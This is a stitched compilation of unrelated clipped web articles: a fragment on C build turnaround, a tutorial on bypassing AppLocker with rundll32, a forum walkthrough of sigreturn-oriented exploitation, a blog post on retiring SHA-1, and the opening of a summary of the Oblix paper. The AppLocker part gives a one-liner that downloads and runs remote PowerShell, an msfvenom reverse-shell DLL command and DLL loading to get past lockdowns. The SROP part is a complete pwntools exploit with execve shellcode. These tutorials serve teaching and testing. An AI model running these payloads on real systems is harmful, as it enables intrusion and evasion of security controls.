Frankly I don’t see this problem being solved any time soon, at least for the
kind of dead-bits “EXE” development that happens in embedded work and high-
performance cores of video games or operating systems. While it may be
possible for hardware to get to the point where we can JIT and message-pass
ourselves to Nirvana and forget about cache line awareness and punt global
optimization, weren’t we saying that ten years ago, too?

The essential core of makefiles and text-based includes were 70s-era hacks of
convenience that went only so far. Speed of turnaround is a language feature,
and you don’t have to be a dope-addled Smalltalk hacker to appreciate the
beauty of dropping into the debugger, changing the structure of a structure,
and continuing blithely along as if nothing extraordinary had happened. We’ll
never be there with C \(at least, a language that supports that probably
doesn’t look very much like C\), but it’s interesting to contemplate.

# AppLocker Bypass – Rundll32

**Created:**| _5/24/2017 2:27:32 PM_  
---|---  
**Updated:**| _5/24/2017 2:27:32 PM_  
**Author:**| __  
**Tags:**| _post-exploitation windows environment_  
  

  

##  AppLocker Bypass – Rundll32

May 23, 2017

netbiosX Defense Evasion AppLocker, Command Prompt, Metasploit, Registry,
Rundll32 1 Comment

Rundll32 is a Microsoft binary that can execute code that is inside a DLL
file. Since this utility is part of the Windows operating system it can be
used as a method in order to bypass AppLocker rules or Software Restriction
Policies. So if the environment is not properly lockdown and users are
permitted to use this binary then they can write their own DLL’s and bypass
any restrictions or execute malicious JavaScript code.

## Rundll32 – JavaScript

It possible to utilize the rundll32 binary in order to execute JavaScript code
that has an embedded payload and it hosted on a webserver. The Metasploit
module web delivery can quickly create a webserver that will serve a specific
payload \(Python, PHP or PowerShell\). In this case the payload will be
PowerShell.

1| `exploit/multi/script/web_delivery`  
---|---  
<img src='img/web-delivery-module-configuration.png' width='500' height='156'
alt='Web Delivery Module Configuration' />

Web Delivery Module Configuration

The following command needs to be executed from the command prompt. If the
command prompt is locked then the method that is described below can be used
to unlock the cmd.

1| `rundll``32``.exe javascript:``"\..\mshtml,RunHTMLApplication
"``;document.write();new%``20``ActiveXObject(``"WScript.Shell"``).Run(``"powershell
-nop -exec bypass -c IEX (New-Object
Net.WebClient).DownloadString('http://ip:port/');"`  
---|---  
<img src='img/rundll32-javascript.png' width='500' height='100' alt='Rundll32
- JavaScript' />

Rundll32 – JavaScript

Rundll32 will execute the arbitrary code and it will return a Meterpreter
session. The main benefit of this is that since it will not touch the disk the
AppLocker rule will bypassed. However PowerShell should be allowed to run on
the system.

<img src='img/web-delivery-payload.png' width='500' height='277' alt='Web
Delivery Payload' />

Web Delivery Payload

## Rundll32 – Meterpreter

The Metasploit Msfvenom can be used in order to create a custom DLL that will
contain a meterpreter payload:

1| `msfvenom -p windows/meterpreter/reverse_tcp LHOST=``192.168``.``100.3`
`LPORT=``44444` `-f dll -o pentestlab.dll`  
---|---  
<img src='img/msfvenom-dll-generation.png' width='500' height='154'
alt='Msfvenom - DLL Generation' />

Msfvenom DLL Generation

The utility rundll32 can then load and execute the payload that is inside the
pentestlab.dll.

1| `rundll``32` `shell``32``.dll,Control_RunDLL C:\Users\pentestlab.dll`  
---|---  
<img src='img/rundll32-injecting-dll-into-a-process.png' width='500'
height='284' alt='Rundll32 - Injecting DLL into a Process' />

AppLocker Bypass – Rundll32 via DLL

A meterpreter session will be opened.

<img src='img/rundll32-meterpreter.png' width='500' height='102' alt='Rundll32
- Meterpreter' />

Rundll32 – Meterpreter

## Command Prompt

In Windows systems that have locked the command prompt via an AppLocker rule
it is possible to bypass this restriction by injecting a malicious DLL file
into a legitimate process. Didier Stevens has released a modified version of
cmd in the form of a DLL file by using an open source variant obtained from
the ReactOS.

<img src='img/applocker-command-prompt-blocked.png' width='500' height='241'
alt='AppLocker - Command Prompt Blocked' />

AppLocker – Command Prompt Blocked

Since the rundll32 is a trusted Microsoft utility it can be used to load the
cmd.dll into a process, execute the code on the DLL and therefore bypass the
AppLocker rule and open the command prompt. The following two commands can be
executed from the Windows Run:

12| `rundll``32` `C:\cmd.dll,EntryPoint``rundll``32`
`shell``32``.dll,Control_RunDLL C:\cmd.dll`  
---|---  
<img src='img/rundll32-dll-loading-entry-point.png' width='500' height='303'
alt='Rundll32 - DLL Loading Entry Point' />

Rundll32 – DLL Loading Entry Point

<img src='img/rundll32-dll-loading-control-run.png' width='500' height='303'
alt='Rundll32 - DLL Loading Control Run' />

Rundll32 – DLL Loading Control Run

The code will be executed through rundll32 and the command prompt will be
opened.

<img src='img/rundll32-command-prompt.png' width='500' height='177'
alt='Rundll32 - Command Prompt' />

Rundll32 – Command Prompt

## Registry

The same technique can be applied in systems where the registry is locked.
Didier Stevens released also a modified version of registry editor in the form
of a DLL like the command prompt above.

<img src='img/applocker-registry-blocked.png' width='500' height='216'
alt='AppLocker - Registry Blocked' />

AppLocker – Registry Blocked

The following commands can load and run the regedit.dll via rundll32 and
therefore bypass the AppLocker rule.

12| `rundll``32` `C:\regedit.dll,EntryPoint``rundll``32`
`shell``32``.dll,Control_RunDLL C:\regedit.dll`  
---|---  
<img src='img/applocker-rundll32-registry.png' width='500' height='301'
alt='AppLocker - Rundll32 Registry' />

AppLocker – Rundll32 Registry

<img src='img/applocker-registry-unlocked.png' width='500' height='317'
alt='AppLocker - Registry Unlocked' />

AppLocker – Registry Unlocked

<img src='img/applocker-rundll32-registry-unlocked.png' width='500'
height='577' alt='AppLocker - Rundll32 Registry Unlocked' />

AppLocker – Rundll32 Registry Unlocked

## Resources

https://blog.didierstevens.com/?s=cmd

http://didierstevens.com/files/software/cmd-dll\_v0\_0\_4.zip

http://www.didierstevens.com/files/software/regedit-dll\_v0\_0\_1.zip

https://github.com/fdiskyou/PSShell

http://ikat.ha.cked.net/

Advertisements

### Rate this:

Rate This

### Share this:

  * Twitter
  * Facebook
  * LinkedIn35
  * Pinterest
  * Reddit
  * Tumblr
  * Google
  * 

 Like

Be the first to like this.

### _Related_

AppLocker Bypass - Regsvr32In "Defense Evasion"

AppLocker Bypass - InstallUtilIn "Defense Evasion"

AppLocker Bypass - Regasm and RegsvcsIn "Defense Evasion"

  

# SROP | Signals, you say?
**Created:**| _7/17/2017 11:17:00 AM_  
---|---  
**Updated:**| _7/17/2017 11:17:00 AM_  
**Author:**| __  
**Tags:**| _rop_  
  

  

<img src='img/Temp2_7195.png' width='45' height='45' />

exploit

6d

7 __

 __

## Sigreturn Oriented Programming

In the name of Allah, the most beneficent, the most merciful.

* * *
  * Hello everyone to a new boring article, after we took a small look on normal ROP stuff, I decided to write something more fun <img src='img/Temp2_7193.png' width='20' height='20' alt=':smile:' />\!
  * @\_py is the one that started that idea\! <img src='img/Temp2_7188.png' width='20' height='20' alt=':wink:' />
  * for learning purposes <img src='img/Temp2_7194.png' width='20' height='20' alt=':smiley:' />.. 
  * I hope you learn much\!

### What's so special about SROP?``

> It needs only a small syscall; ret; gadget, and a way to set EAX to syscall
> number of sigreturn\!
  * While you need much gadgets to ROP, 1 ~ 2 to SROP\!
  * Sometimes, you need to combine both <img src='img/Temp2_7194.png' width='20' height='20' alt=':smiley:' />..

### How can we SROP?``

  * We want to exploit the weakness that lies in UNIX systems, sigreturn\(\)..
  * This function when called, restores all registers from stack, with no further checks..
  * We know that the signal form looks like this: \( Start : 0x30, End: 0xF0 \)

<img src='img/0df0da262f0ffab1be896d1c6b6ebce4584e2ef2_1_560x500.jpg'
width='560' height='500' />

signal\_form.jpg820x731 119 KB

### Solving an x64 simple binary, the SROP way\!

  * Suppose we have an overflow \( Nullbytes shouldn't be removed \), allowing us to overwrite the saved RIP.. and a little gadget that will allow us set RAX value to 15 <img src='img/Temp2_7193.png' width='20' height='20' alt=':smile:' />..
  * We can simply set saved RIP to the gadget, and we build a fake signal frame, that'll allow us do ANYTHING WE WANT, SINCE WE WILL CONTROL ALL REGISTERS <img src='img/Temp2_7188.png' width='20' height='20' alt=':wink:' />\! 
  * Let's write a small binary that contains these ingredients <img src='img/Temp2_7194.png' width='20' height='20' alt=':smiley:' />\!

[code]

    #include <stdio.h>
    #include <stdlib.h>
    
    void syscall_(){
           __asm__("syscall; ret;");
    }
    
    void set_rax(){
           __asm__("movl $0xf, %eax; ret;");
    }
    
    int main(){
           // ONLY SROP!
           char buff[100];
           printf("Buff @%p, can you SROP?\n", buff);
           read(0, buff, 5000);
           return 0;
    }
[/code]

#### Let's start by controlling RIP\!

  * We keep filling the stack until we get SIGSEGV, and we subtract one from it, leading to get the perfect padding\! <img src='img/Temp2_7191.png' width='20' height='20' alt=':slight_smile:' />

<img src='img/fdc3d6267be7075df7cbc7106d0324e2a1d42904.png' width='518'
height='148' />

  * The padding to saved RIP is 120 <img src='img/Temp2_7188.png' width='20' height='20' alt=':wink:' />, let's check it\!

<img src='img/3ac28738bfeb1fff8e675f113bfa27c83de6556e.png' width='593'
height='78' />

<img src='img/57b81690b61c02c1f6316d01f865b60c626a1bc5.png' width='271'
height='41' />

#### Writing the exploit

  * We gained control over RIP, let's start writing our exploit.py\!

[code]

    #!/usr/bin/python
    from pwn import *
    
    context.clear(arch="amd64")
    c = process("./srop")
    pad = 120
    
    # EXPLOIT
    payload = "A" * pad # FILL STACK TILL SAVED RIP
    payload += "BBBB" # OVERWRITING SAVED RIP WITH BBBB
    
    # SENDING
    c.sendline(payload)
    
    c.interactive()
[/code]

  * pwntools41.. Always making our life easier <img src='img/Temp2_7190.png' width='20' height='20' alt=':rofl:' />..
  * Because of pwntools, we won't write the whole chain \( you can write it if you want \)\! <img src='img/Temp2_7189.png' width='20' height='20' alt=':laughing:' />
  * Let's first collect, the useful gadgets for our attack\!

<img src='img/3c9bb0b45eb4f7fd8d8f64d6290e1402b0a3f9e2.png' width='379'
height='43' />

<img src='img/608ca4a1b4e6d0d7b916352c1af84adb68fe162f.png' width='427'
height='42' />

[code]

    # ENTRIES
    syscall_ret = 0x40054a
    mov_rax_15_ret = 0x400554
[/code]

  * Also there's some kind of leak, the address of buff, is something we have\!
  * Let's write a small part to take that leak before sending the payload\!

[code]

    # LEAK
    c.recvuntil("@0x")
    leak = int(c.recvuntil(",")[:-1], 16)
    print "Buff @ " + hex(leak)
[/code]

<img src='img/8ba452d1cfb1048bbf3858c354690d94868eb9ea.png' width='437'
height='91' />

  * All working good\! <img src='img/Temp2_7194.png' width='20' height='20' alt=':smiley:' />
  * Let's now start editing the EXPLOIT part\! 
  * The plan i'm going to do, is to make the Buff address executable, and return to it\!
  * To do so, i'm going to craft a signalframe that will be able to call mprotect on buff address..
  * We are going to test on an address, and try making it executable\!

[code]

    pause() # STOP TO ATTACH GDB
    test = 0x601000 # TEST ADDRESS
    # EXPLOIT
    payload = "A" * pad # FILLING STACK TO SAVED RIP
    payload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBER
    payload += p64(syscall_ret) # CALL SIGRETURN
    # BUILD FAKE FRAME
    frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
    frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBER
    frame.rdi = test # SET RDI TO TEST ADDRESS
    frame.rsi = 2000 # SET RSI TO SIZE
    frame.rdx = 7 # SET RDX => RWX PERMISSION
    frame.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME!
    frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
    # PLACE FAKE FRAME ON STACK
    payload += str(frame)
    payload += "AAAA" # WHERE IT GOING TO RETURN ( RSP )
[/code]

> Stack is going to look like this:  
>
> <img src='img/6c0e9ac0a0988138fc94588792a3c81d32da81f1_1_690x338.png'
> width='690' height='338' />
> stack\_look.png1205x592 11.2 KB
  * Let's run the exploit and attach it\!

<img src='img/83ad5067a523cc307eb990cb4b7f33cc181198a0.png' width='578'
height='78' />

  * Write 'c' in GDB to continue, and press enter in exploit.py tab to resume\!
  * BEAAAAAAAAM, RIP in it's right place, let's check if the address has now RWX permissions\!

<img src='img/c1e2260374a098ce76635aee3383b7bd4af9d295.png' width='621'
height='110' />

  * RWX\! let's now take advantage of that and instead of test address, we are going to make buff address executable\!

[code]

    pause() # STOP TO ATTACH GDB
    shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # x86_64 EXECVE SHELLCODE
    # EXPLOIT
    payload = shellcode # PLACING SHELLCODE IN BEGINNING OF BUFF
    payload = payload.ljust(pad, "A") # FILLING STACK TO SAVED RIP
    payload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBER
    payload += p64(syscall_ret) # CALL SIGRETURN
    # BUILD FAKE FRAME
    frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
    frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBER
    frame.rdi = leak # SET RDI TO BUFF ADDRESS
    frame.rsi = 2000 # SET RSI TO SIZE
    frame.rdx = 7 # SET RDX => RWX PERMISSION
    frame.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME!
    frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
    # PLACE FAKE FRAME ON STACK
    payload += str(frame)
    payload += p64(leak) # RETURN2SHELLCODE
[/code]

  * Let's run our exploit\! <img src='img/Temp2_7192.png' width='20' height='20' alt=':blush:' />

<img src='img/ea5c2fba6a47e5a1d1fe83753673cbdb39d9380d.png' width='408'
height='146' />

  * We got our shell, we won <img src='img/Temp2_7193.png' width='20' height='20' alt=':smile:' />\!

#### Full exploit

[code]

    #!/usr/bin/python
    from pwn import *
    
    context.clear(arch="amd64")
    c = process("./srop")
    pad = 120
    
    # ENTRIES
    syscall_ret = 0x40054a
    mov_rax_15_ret = 0x400554
    
    # LEAK
    c.recvuntil("@0x")
    leak = int(c.recvuntil(",")[:-1], 16)
    print "Buff @ " + hex(leak)
    
    pause() # STOP TO ATTACH GDB
    shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # x86_64 EXECVE SHELLCODE
    # EXPLOIT
    payload = shellcode # PLACING SHELLCODE IN BEGINNING OF BUFF
    payload = payload.ljust(pad, "A") # FILLING STACK TO SAVED RIP
    payload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBER
    payload += p64(syscall_ret) # CALL SIGRETURN
    # BUILD FAKE FRAME
    frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
    frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBER
    frame.rdi = leak # SET RDI TO BUFF ADDRESS
    frame.rsi = 2000 # SET RSI TO SIZE
    frame.rdx = 7 # SET RDX => RWX PERMISSION
    frame.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME, CAUSE WE STILL NEED TO CONTROL RIP AFTER!
    frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
    # PLACE FAKE FRAME IN STACK
    payload += str(frame)
    payload += p64(leak) # RETURN2SHELLCODE
    
    # SENDING
    c.sendline(payload)
    
    c.interactive()
[/code]

Reference links:  
PDF21  
ThisIsSecurity17

### Challenge on x86

  * To start your adventure in the SROP world, you should to start simple\!
  * The target is, a simple x86 binary9\!

> Proof that it's working, and exploitable:  
> <img src='img/ad09b64cbc3e86dcc0a04836fb8cc56ed04cd074.png' width='418'
> height='113' />
  * I made that binary just to help myself understand SROP better, and exploit it on my own <img src='img/Temp2_7194.png' width='20' height='20' alt=':smiley:' />\! 
  * But now, it's your turn, to exploit a such binary\!  
<img src='img/828a03814074db9fad4c6a169c2c6d144cc90f50.gif' width='356'
height='200' />

  * Good luck. Search much, and learn much\! <img src='img/Temp2_7188.png' width='20' height='20' alt=':wink:' />

~ exploit

  * #### created
<img src='img/Temp2_7197.png' width='20' height='20' />6d

  * #### last reply
<img src='img/Temp2_7197.png' width='20' height='20' />3d

  * 16
#### replies

  * 3.2k
#### views

  * 8
#### users

  * 42
#### likes

  * 7
#### links

  * <img src='img/Temp2_7196.png' width='32' height='32' />9
<img src='img/Temp2_7198.png' width='32' height='32' />

<img src='img/Temp2_7187.png' width='32' height='32' />

  

# Why Google is Hurrying the Web to Kill SHA-1

**Created:**| _9/10/2014 9:34:16 AM_  
---|---  
**Updated:**| _9/19/2014 11:06:20 AM_  
**Author:**| __  
**Tags:**| _hashes crypto_  
  

# Why Google is Hurrying the Web to Kill SHA-1

<img src='img/Temp2_9459.png' />

Hilbert map of hashing algorithms, by Ian Boyd

Most of the secure web is using an insecure algorithm, and Google's just
declared it to be a slow-motion emergency.

Something like 90% of websites that use SSL encryption — <img
src='img/Temp2_9460.png' /> — use an algorithm called SHA-1 to protect
themselves from being impersonated. This guarantees that when you go to <img
src='img/Temp2_9457.png' />, you're visiting the real Facebook and not giving
your password to an attacker.

Unfortunately, **SHA-1 is dangerously weak**, and has been for a long time. It
gets weaker every year, but remains widely used on the internet. Its
replacement, SHA-2, is strong and supported just about everywhere.

Google recently announced that if you use Chrome, then you're about to start
seeing a progression of warnings for many secure websites:

<img src='img/Temp2_9453.png' /> What's about to befall websites with SHA-1
certificates that expire in 2017, in Chrome.

The first set of warnings will hit before Christmas, and will keep getting
more stern over the next 6 months. Eventually, even sites with SHA-1
certificates expiring in 2016 will be given yellow warnings.

By rolling out a staged set of warnings, Google is declaring a slow-motion
emergency, and hurrying people to update their websites before things get
worse. That's a good thing, because **SHA-1 has got to go** , and no one else
is taking it as seriously as it deserves.

If you run a website that uses SSL, you can test your website using a small
SHA-1 testing tool I built that will tell you what you need to do.

Even if you don't, I encourage you to read on. In the rest of this post, I'll
cover **how SSL and SHA-1 work together** on the web, **why it 's as urgent**
as Google says it is, and **what web browsers are doing**.

As importantly, the security community needs to **make changing certificates a
lot less painful**, because security upgrades to the web shouldn't have to
feel like an emergency.

## SHA-what?

To understand why replacing SHA-1 is so important, you have to put yourself in
a browser's shoes.

When you show up to a website using <img src='img/Temp2_9460.png' />, the
website presents a file — an SSL "certificate" — to your browser. This
certificate is used to do two things: encrypt your connection to the website,
and verify that you've connected to the real website.

Any certificate can be used to encrypt your connection. But to verify that
you're at the real Facebook, your browser has to have a way to decide whether
to trust that certificate, and show you a green lock.

Your browser does this by figuring out whether the website's certificate file
has been issued by a "Certificate Authority" \(CA\). CAs generally charge
money to give website owners this file. Your browser trusts over 50
Certificate Authorities to create and vouch for certificates, ranging from
Verisign to GoDaddy to the US Department of Defense — and the many hundreds of
intermediary CAs to whom those 50+ have delegated trust. As you might guess,
this is a **very** flawed system, but it's the system that we have right now.

This website's Certificate Authority, for the time being, is Comodo, purchased
through Namecheap.

<img src='img/Temp2_9454.png' />

What you see in Chrome if you click the green lock for this site.

So another crucial test your browser demands, when a website's SSL certificate
claims to be issued for that website by a particular Certificate Authority,
is: **can the certificate prove it?**

Wherever practical, the internet proves things through math. When a
certificate is issued, the Certificate Authority includes this proof by
cryptographically "signing" the certificate using a private key, in a way only
the real CA could do and that browsers can verify.

But the CA doesn't actually sign the raw certificate: it first condenses the
certificate into a unique slug by running it through a "one-way hash"
algorithm, like MD5, SHA-1, or SHA-256.

<img src='img/Temp2_9458.png' />

An excerpt of what you see in Chrome if you ask for more certificate
information.

Using a one-way hash keeps things small: for example, running this exact 3.2MB
version of War And Peace through SHA-1 gives you
`baeb2c3a70c85d44947c1b92b448655273ce22bb`.

<img src='img/Temp2_9456.png' />

Calculated using MD5file.com, a pleasant online hash calculator.

One-way hash algorithms like SHA-1 are designed to produce unique,
irreversible slugs. You should not be able to take
`baeb2c3a70c85d44947c1b92b448655273ce22bb` and work backwards and produce War
And Peace. As importantly, **no other file should produce that same slug** —
even changing one little period should cause the SHA-1 result to change so
drastically as to be unrelated.

If two files are discovered to produce the same slug when run through a one-
way hash like SHA-1, that's called a "collision". Collisions are always
theoretically possible, but they're supposed to be so rare as to be
practically impossible.

When your browser sees a certificate, it can calculate the SHA-1 for that
certificate's information itself, and then compare it to the signed SHA-1 that
the certificate offered as proof. Because SHA-1 promises unique slugs, the
browser trusts that if they match, the certificate on offer is the same one
the Certificate Authority signed.

If you could engineer a certificate that "collides" with a target certificate,
and coax a Certificate Authority to issue you that certificate, then you would
successfully forge a certificate that a browser would find indistinguishable
from the target.

**Gritty details:** If you'd like to get into the details of signature
algorithms and SSL certificates, Joshua Davies has an extremely detailed
technical explainer.

## An attack on SHA-1 feels plenty viable to me

In 2005, cryptographers proved that SHA-1 could be cracked 2,000 times faster
than predicted. It would still be hard and expensive — but since computers
always get faster and cheaper, it was time for the internet to stop using
SHA-1.

Then the internet just kept using SHA-1. In 2012, Jesse Walker wrote an
estimate, reprinted by Bruce Schneier, of the cost to forge a SHA-1
certificate. The estimate uses Amazon Web Services pricing and Moore's Law as
a baseline.

Walker's estimate suggested then that a SHA-1 collision would cost **$2M** in
2012, **$700K** in 2015, **$173K** in 2018, and **$43K** in 2021. Based on
these numbers, Schneier suggested that an "organized crime syndicate" would be
able to forge a certificate in 2018, and that a university could do it in
2021.

Walker's estimates and Schneier's characterization have become widely cited in
the planning and debate over transitioning from SHA-1. A group of leading
Certificate Authorities, the CA Security Council, cited them recently to
complain about Google's schedule. In that complaint, the CAs use those
estimates to suggest "the lack of a practical attack until 2018".

I find this to be an absolutely cartoonish stance for the CA Security Council
to take in 2014. They are clearly rationalizing the issue, based on how
inconvenient they think a more rapid transition would be.

Walker and Schneier's estimates were pre-Snowden, before the public properly
understood that governments are adversaries too. By their estimates, a forged
certificate in 2014 would cost less than $2 million, a sum that many
determined actors in this world would pay.

How do we know that they would? **Because they have.**

<img src='img/Temp2_9451.png' />

Computers infected with Flame, as measured by Kaspersky Labs

In 2012, researchers uncovered a malware known as Flame. The Washington Post
reported that this was a US-Israel collaboration to obtain intelligence from
Iran to stall their nuclear weapons program, and a leaked NSA document seems
to confirm this.

Flame relied on an SSL certificate forged by engineering a collision with
SHA-1's predecessor, MD5. Disturbingly, it used a method that was not publicly
known at the time, despite years of concerted research on MD5. This was a
reminder that we should assume that the worst vulnerabilities go undisclosed.

And it's a funny story about MD5, because, like SHA-1, it was discovered to be
breakably weak a very long time ago, and then, like SHA-1, it took a
horrifying number of years to rid the internet of it.

MD5 was first shown to be theoretically weak in 1995, and over time was shown
to be even weaker. But MD5 was still used by some Certificate Authorities
until 2008, when researchers successfully engineered a collision and got a
forged certificate issued. That certificate, issued to "MD5 Collisions, Inc."
has been immortalized inside your browser so that it can be specifically
blacklisted.

<img src='img/Temp2_9455.png' />

In Chrome, you can see these by visiting chrome://settings/certificates.

That was an emergency, and yet Chrome wasn't able to remove support for MD5
until 2011 — **16 years** after MD5 was first shown to be untrustworthy.

That's because there's a particular challenge with updating signature
algorithms on the internet today: as long as browsers need to support SHA-1
for someone, anyone's certificate can be forged with it. **You can impersonate
a SHA-2-signed cert with a SHA-1-signed forgery** , because the browser will
only be looking at the forgery and not know that there's a "real" cert or that
that cert is "supposed" to be signed with SHA-2.

In other words, the only way to prevent certificate forgeries using SHA-1 is
to remove SHA-1 support from browsers. Like a tumor, you have to get rid of it
all.

## What browsers are doing

Microsoft was the first to announce a deprecation plan for SHA-1, where
Windows and Internet Explorer will distrust SHA-1 certificates after 2016.
Mozilla has decided on the same thing. Neither Microsoft nor Mozilla have
indicated they plan to change their user interface in the interim to suggest
to the user that there's a problem.

Google, on the other hand, recently dropped a truth bomb by announcing that
Chrome would show warnings to the user right away, because SHA-1 is just too
weak:

> We plan to surface, in the HTTPS security indicator in Chrome, the fact that
> SHA-1 does not meet its design guarantee. We are taking a measured approach,
> gradually ratcheting down the security indicator and gradually moving the
> timetable up.
Google's Ryan Sleevi had first announced Chrome's intended policy a couple
weeks before, and I strongly recommend reading the full discussion — you will
get to see many Certificate Authorities and large site operators show up and
nervously attempt to reason with this wild-eyed man who appears to be telling
them that they should stop issuing weak certificates not late next year, but
**right now**.

This is a gutsy move by Google, and represents substantial risk. One major
reason why it's been so hard for browsers to move away from signature
algorithms is that when browsers tell a user an important site is broken, the
user believes the browser is broken and switches browsers. Google seems to be
betting that Chrome is trusted enough for its security and liked enough by its
users that they can withstand the first mover disadvantage.

Opera has also backed Google's plan. The Safari team is watching developments
and hasn't announced anything.

## What you can do

To help with the transition, I've built a small website at
**shaaaaaaaaaaaaa.com** that checks whether your site is using SHA-1 and needs
to be updated:

<img src='img/Temp2_9452.png' />

I chose a large, unguessable prime number of A's.

Requesting a new certificate is usually very simple. You'll need to generate a
new certificate request that asks your CA to use SHA-2, using the `-sha256`
flag.

[code]

    openssl req -new -sha256 -key your-private.key -out your-domain.csr
    
[/code]

I'm keeping track of issues and workarounds for getting SHA-2 certificates
from various CAs. If you run into a problem not mentioned there, please ring
in here and I'll update the site.

You may also need to update any SHA-1 intermediate certificate\(s\), as
they're also verified using a digital signature. This means tracking down
whether and where your CA has published their SHA-2 intermediates. I'm keeping
track of SHA-2 intermediate locations for various CAs. If you find some not
mentioned, or your CA doesn't have them yet, please ring in.

If you have a site but some other company controls the certs, email their
customer support and tweet at them. Link to Google's announcement, and ask for
their timeline.

I could also use some help on shaaaaaaaaaaaaa.com — if you feel like chipping
in, check out the open issues and lend a hand.

**SHA-1 roots** : You _don 't_ need to worry about SHA-1 root certificates
that ship with browsers, because their integrity is verified without using a
digital signature.

## Changing certificates shouldn't be this hard

There is a larger issue here: there's no reason that fixing security issues
should be so aggravating. A big reason why websites and Certificate
Authorities are dragging their feet on updating to SHA-2 is because it means
reissuing certificates, and _everyone_ hates replacing SSL certificates.

For individuals, the certificate process can be strange, filled with arcane
terminology and confusing user interfaces.

For companies, certificates are generally obtained for as long as possible,
stuck wherever, and forgotten about until it's time to panic. Certificate
management is often outsourced or out of reach.

In discussing Chrome's new policy, Google's Ryan Sleevi makes this exact point
— that security today means that changing your certificate can't be such a
tremendous operational hassle:

> The age of having a secure UI remain static for five years is no longer
> tenable. It is expected that sites be able to respond to and adapting to
> security threats. This applies whether you're talking about TLS protocol
> level attacks like BEAST, cryptographic attacks like those involved in
> certificate issuance, or application-level attacks such as mixed content.
> For the vast majority of our users, security is a one-or-two bit state, not
> the gradiations that CAs may see. In this model, we need to accurately
> reflect to the user whether or not we believe they're secure.
> ...If a site is not capable of changing its cert within 12 weeks, then I
> think we have a far more serious security problem - as Heartbleed \[has\]
> taught us.
If you poke around Google's SSL configuration, you'll see that \(\!\) they use
certificates signed with SHA-1. But each certificate expires in 3 months, a
short-lived window that reduces the chances that a certificate could be
forged, while they migrate to SHA-2 in 2015.

As importantly, a 3-month window **forces Google to make cert rotation
operationally simple**. This is the equivalent of Netflix's Chaos Monkey —
forcing yourself to take entropy and change seriously by turning it from an
emergency into the routine.

Google has made it somewhat easier for themselves to do this, by setting up a
private intermediate certificate authority for themselves, signed by GeoTrust,
that can reissue certificates on demand. But you don't need to own an
intermediate CA to make frequent certificate rotation a part of your business
processes — you need to prioritize it. That's what Google's doing, and that's
what they're arguing we should all do.

**Further reading:** Another related idea, under active discussion by Mozilla,
Google, and others, is to allow for extremely short-lived certs, on the order
of a few days. This would improve performance, as browsers wouldn't need to
bother with revocation checking for those certs. It would also bring along the
general security and operational benefits of frequent cert rotation, as
described above.

## In conclusion

A SHA-1 push like this should have started years ago. Any annoyance at Google
for amping up the pressure should be channeled towards the Certificate
Authorities instead, for allowing nothing to happen for so long.

For individuals, obtaining a certificate needs to be as easy as buying a
domain name, installing it needs to be easy as turning on a website, and
replacing it needs to be automatic. There are some pretty clear business
opportunities and open source tooling gaps here.

For organizations, frequent certificate rotation needs to be prioritized in
their infrastructure design and update processes. Organizations that have
already done a good job of this should talk about it, and open source their
work.

In the meantime, site operators should update their certificates and use the
lack of Heartbleed-level urgency as an opportunity to revisit their SSL
configuration and turn on things like forward secrecy.

**Related Stuff**

  * The 2008 MD5 Collisions, Inc. attack is really a terrific read.
  * Do you like math papers about cryptography? Here's how to break SHA-1.
  * Yes, there is a SHA-3, finalized in 2012.
  * Heroku has an interesting all-in-one SSL management service for apps hosted there.

Thanks to Jacob Hoffman-Andrews, Tom MacWright, and Lindsay Young for reading
drafts of this post.  
  
More discussion on this over at Hacker News and Reddit.

* * *
Follow me on Twitter or RSS.

# Oblix: an efficient oblivious search index

**Created:**| _9/23/2018 9:02:21 AM_  
---|---  
**Updated:**| _9/23/2018 9:02:21 AM_  
**Author:**| _wishi_  
**Tags:**| _searching_  
  

  

# Oblix: an efficient oblivious search index

July 6, 2018

Oblix: an efficient oblivious search index Mishra et al., _IEEE Security &
Privacy 2018_

> Unfortunately, many known schemes that enable search queries on encrypted
> data achieve efficiency at the expense of security, as they reveal access
> patterns to the encrypted data. In this paper we present `Oblix`, a search
> index for encrypted data that is oblivious \(provably hides access
> patterns\) is dynamic \(supports inserts and deletes\), and has good
> efficiency.
There’s a lot to this paper\! Starting with a recap of existing work on Path
ORAM \(Oblivious RAM\) and Oblivious Data Structures \(ODS\), Mishra introduce
an extension for an Oblivious Sorted Multimap \(OSM\) \(such that you can look
up a key and find a set of associated values, handy for building indexes\!\).
Then because their design runs a client-proxy process inside an enclave at the
server, and enclaves still leak some information, they also design “doubly-
oblivious” versions of all of the above that hide the client access patterns
in addition to those at the server process. It’s all topped off with an
implementation in Rust \(nice to see Rust being used for systems research\),
and an evaluation with three prime use cases: private contact discovery in
Signal, private public key lookup based on Google’s Key Transparency, and a
search index built over the entire Enron email dataset.

<img src='img/oblix-fig-1.jpeg' width='480' height='279' />

> We show that Oblix can scale to databases of tens of millions of records
> while providing practical performance. For example, retrieving the top 10
> values mapped to a key takes only 12.7ms for a database containing ~ 16M
> records.
It’s a good reminder that some of the things we often accept as ‘obviously
true,’ such as that an app which wants to tell you what’s nearby must track
your location, aren’t necessarily so.

It’s impossible to cover it all in my target post length, but I’ll do my best
to give you a feel for the work.

### Motivation and high-level design

A server holds an encrypted database, and a client wants to retrieve matching
